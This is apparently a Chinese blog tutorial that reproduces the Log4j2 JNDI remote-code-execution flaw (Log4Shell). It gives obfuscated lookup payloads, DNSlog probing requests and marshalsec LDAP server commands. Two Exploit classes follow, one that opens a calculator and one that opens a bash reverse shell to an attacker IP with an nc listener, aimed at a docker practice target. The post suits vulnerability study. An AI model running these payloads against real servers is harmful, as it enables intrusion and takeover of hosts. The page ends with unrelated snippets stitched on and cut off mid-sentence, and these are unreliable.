文章目录
Apache Log4j2是一个基于Java的日志记录工具。Apache Log4j 2.x <= 2.14.1版本存在远程代码执行漏洞。 漏洞的主要原因是log4j2的接收器对于不可靠来源的输入没有过滤,攻击者则可以利用此特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
1. java函数编写
2. javac 编译, java执行
3. maven库的使用; jar包的引入
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("hello world asdf.");
logger.error("$${lookupName:key:${lower:env}}");
logger.error("${env:aaa:-444444}");
logger.error("${base64:SGVsbG8gV29ybGQhCg==}");
logger.error("${log4j:configParentLocation}");
logger.error("$${lower:{${java:os}}");
logger.error("${upper:DhhASD}");
logger.error("${java:os}");
logger.error("${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}");
}
}
输出结果:
21-12-12 12:51:23.003 [main] ERROR log4j - hello world asdf.
21-12-12 12:51:23.011 [main] ERROR log4j - ${lookupName:key:${lower:env}}
21-12-12 12:51:23.011 [main] ERROR log4j - 444444
21-12-12 12:51:23.011 [main] ERROR log4j - ${base64:SGVsbG8gV29ybGQhCg==}
21-12-12 12:51:23.011 [main] ERROR log4j - D:\Work\D\Code\maven-01\target\classes
21-12-12 12:51:23.015 [main] ERROR log4j - ${lower:{Windows 10 10.0, architecture: amd64-64}
21-12-12 12:51:23.015 [main] ERROR log4j - ${upper:DhhASD}
21-12-12 12:51:23.015 [main] ERROR log4j - Windows 10 10.0, architecture: amd64-64
21-12-12 12:51:23.015 [main] ERROR log4j - ${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://qqqq.rblpq9.ceye.io/Log4jRC}
首先看一下典型的payload示例:
${jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa}
这是利用的jndi注入的方式
有几个专业名词,在这里解释一下:
payload:病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。
jndi:JNDI(Java Naming and Directory Interface),Java命名和目录接口,是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。
参考资料:https://xz.aliyun.com/t/6633
ldap:LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。
DNSlog:DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。
DNSlog 在web漏洞中是常见的使用方法, 在某些无法直接利用漏洞获得回显的情况下, 但目标可以发起DNS请求, 这个时候就可以通过这种方式把想获得的数据外带出来。
分析payload:
${jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa}
jndi:ldap 是jndi注入
12345.p7yc0x.ceye.io 是一个域名, 其中p7yc0x.ceye.io是攻击者自己申请的免费三级域名, 12345是随便写的四级域名。域名申请网站有http://ceye.io/ (需要注册) 以及http://www.dnslog.cn/(无需注册)
:1389/aaa 端口信息以及路径
此外,可以收集到payload的变种如下
${${env:base:-j}${lower:N}di:l${lower:D}${env:base:-a}p://bbb.rblpq9.ceye.io/Log4jRC}
主要还是使用了log4j2的lookup方式, 具体可以查询官方文档:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html
postman:
用于发送请求,请求中携带payload
marshalsec
这是一款java 反序列化利用工具,在本次实验中主要用来搭建LDAP服务器。
常用使用方式
开启RMI服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099
开启LDAP服务
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389
项目地址
https://github.com/mbechler/marshalsec
假设如下(具体以实际ip为主)
被攻击者者ip: 1.1.1.1
攻击者ip: 2.2.2.2
弹出计算器是常用的远程代码执行漏洞的验证方式。若攻击者的利用代码可以弹出计算器,则说明该漏洞可被利用执行命令。
思路
log4j2打印出payload的内容,触发远程代码执行,可以执行一个提前准备好的java函数,该函数可执行开启计算器功能。
假设被攻击者可能会运行如下代码:
import org.apache.logging.log4j.*;
public class Log4jTest1 {
public static final Logger logger = LogManager.getLogger(Log4jTest1.class);
public static void main(String[] args){
System.out.println("开始执行漏洞利用");
//若java为高版本,需要开启这个才能利用
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("asdfasfdasdfafafd");
logger.error("${jndi:ldap://2.2.2.2:1389/adf}");
System.out.println("完成执行漏洞利用");
}
}
攻击者的利用代码如下:
public class Exploit {
static {
try {
System.out.println("攻击代码正在运行...");
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
攻击者还需要执行以下步骤
javac Exploit.java
python -m http.server 8888
1389java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"
解释:其中的#Exploit需要和编译出的class文件名对应,不包含.class后缀。
这样的话,被攻击者用log4j2打印出payload"${jndi:ldap://2.2.2.2:1389/adf}",会自动执行Exploit.class
被攻击者执行log4j2打印payload的操作, 即可触发启动计算器 ~
被攻击者的日志输出:
.......
at com.sun.jndi.ldap.Connection.createSocket(Connection.java:373)
at com.sun.jndi.ldap.Connection.<init>(Connection.java:213)
... 42 more
21-12-12 14:50:11.969 [main] ERROR Log4jTest1 - ${jndi:ldap://2.2.2.2:1389/adf}
完成执行漏洞利用
DNSlog是黑客常用的探测log4j2漏洞是否存在的方式。
思路
输入是一个API接口, 调用API接口时携带payload(触发请求DNS), 然后根据DNSlog日志中是否收到请求,来判断是否存在log4j漏洞以及获取含有漏洞的IP。
vulfocus.fofa.so:57872rblpq9.ceye.ioPOST /hello HTTP/1.1 Host: vulfocus.fofa.so:22755 Content-Type: application/x-www-form-urlencoded
payload=${jndi:ldap://ce_shi_yi_xia.rblpq9.ceye.io/wu_suo_wei}
postman的主要截图如下:


DNSlog 主要截图如下:

接下来将介绍,在靶场环境下,尝试利用该漏洞执行反弹shell直接拿到主机权限的演示。
靶场主要参考网络资源:
https://github.com/fengxuangit/log4j_vuln
执行命令:
docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

从代码中可以看出, 当请求参数中有c时, 会用log4j2打印参数内容, 容易触发漏洞。
被攻击者ip:1.1.1.1
攻击者ip:2.2.2.2
POST 1.1.1.1:8080/webstudy/hello-fengxuan
请求参数中可带内容 c="payload"
public class Exploit {
static {
try {
String[] cmd = {"bash", "-i",">" ,"/dev/tcp/2.2.2.2/5566", "0>&1" ,"2>&1"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
}
javac 编译
在利用脚本所在路径下, 开启http服务器
python -m http.server 8888
1389java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://2.2.2.2:8888/#Exploit"
nc -lvp 5566
postman发送恶意请求
其中body体中
c="${jndi:ldap://2.2.2.2:1389/adf}"
攻击成功, 获取shell
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
我想在heroku.com上查看我的应用程序日志的内容,所以我关注了thisexcellentadvice并拥有我所有的日志内容。但是我现在很想知道我的日志文件实际在哪里,因为“log/production.log”似乎是空的:C:\>herokuconsoleRubyconsoleforajpbrevx.heroku.com>>files=Dir.glob("*")=>["public","tmp","spec","Rakefile","doc","config.ru","app","config","lib","README","Gemfile.lock","vendor","sc
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
本人是音乐爱好者,从小就特别喜欢那个随着音乐跳动的方框效果,就是这个:arduino上一大把对,我忍你很久了,我就想用mpy做,全网没有,行我自己研究。果然兴趣是最好的老师,我之前有篇博客专门讲音频,有兴趣的可以回顾一下。提到可视化频谱,必然绕不开fft,大学学过这玩意,当时一心玩,老师讲的一个字都么听进去,网上教程简略扫了一下,大该就是把时域转频域的工具,我大mpy居然没有fft函数,奶奶的,先放着。音频信息如何收集?第一种傻瓜式的ADC,模拟转数字,原始粗暴,第二种,I2S库,我之前博客有讲过,数据是PCM编码。然后又去学PCM编码,一学豁然开朗,舒服,以代码为例:audio_in=I2S
文章目录前言核心逻辑配置iSH安装Python创建Python脚本配置启动文件测试效果快捷指令前言iOS快捷指令所能做的操作极为有限。假如快捷指令能运行Python程序,那么可操作空间就瞬间变大了。iSH是一款免费的iOS软件,它模拟了一个类似Linux的命令行解释器。我们将在iSH中运行Python程序,然后在快捷指令中获取Python程序的输出。核心逻辑我们用一个“获取当前日期”的Python程序作为演示(其实快捷指令中本身存在“获取当前日期”的操作,因而此需求可以不用Python,这里仅仅为了演示方便),核心代码如下。>>>importtime>>>time.strftime('%Y-%
我正在使用RubyonRails构建网络应用程序。我正在使用Mailgun作为这个应用程序的邮件程序。当我使用Facebook注册时它工作正常但是当我尝试使用电子邮件和密码注册时,我不断收到此错误“554请激活您的Mailgun帐户。检查您的收件箱或登录到您的控制面板以重新发送激活电子邮件。“我已经在mailgun仪表板中将eamil授权给授权收件人。这是我的代码:Registrations_controller.rbclassRegistrationsControllerconfig/environments/development.rbRails.application.confi
在chromedriver75.0.3770.8上访问driver.manage.logs.get(:browser)-它导致错误#(NoMethodError)的未定义方法“日志”在74.0.3729.6上工作正常来自:https://github.com/SeleniumHQ/selenium/issues/7270 最佳答案 在最近的selenium-webdriver(4.4.0)和最近的Chrome(105)中,manage.logs不见了,但这有效:page.driver.browser.logs.get(:browse
找了一圈也没找到。是否有Ruby的Log4X等价物?如果不是,那么处理所有调试语句的最佳方法是什么。我是Ruby的新手。谢谢! 最佳答案 Ruby带有一个内置的日志库,但是有log4r.内置库的一个简短示例:#!/usr/bin/envrubyrequire'logger'log=Logger.new('mylog.txt')log.debug"Hellolog" 关于ruby-是否有Log4JforRuby的等价物,Log4Ruby?,我们在StackOverflow上找到一个类似的问
我已经研究这个话题太久了,所以我必须发布这个。我有几个运行此设置的应用程序,其中一个在rails启动(railss)时完全失败。它们的配置几乎完全相同,但我似乎无法在这里大海捞针。有没有人对如何找到这个问题有任何指示?设置基于:http://blog.mmlac.com/log4r-for-rails/comment-page-1/#comment-1731当我尝试运行railss时:=>BootingWEBrick=>Rails4.0.0applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Run`railsserver-h`f
我正在尝试将db2数据库迁移到RubyonRails,但是当我运行railsgscaffold时,我得到了这个:Rails错误:无法访问日志文件。请确保/home/.../log/development.log存在并且是chmod0666。日志级别已提高到WARN,输出定向到STDERR,直到问题得到解决。我检查过,我的development.log不存在!我不确定为什么,因为我在安装过程中遵循了每一步,但我的文件仍然不存在。我怎样才能创建它?我已经尝试卸载并重新安装Rails,但问题仍然存在。 最佳答案 也许只做它要求你做的事?: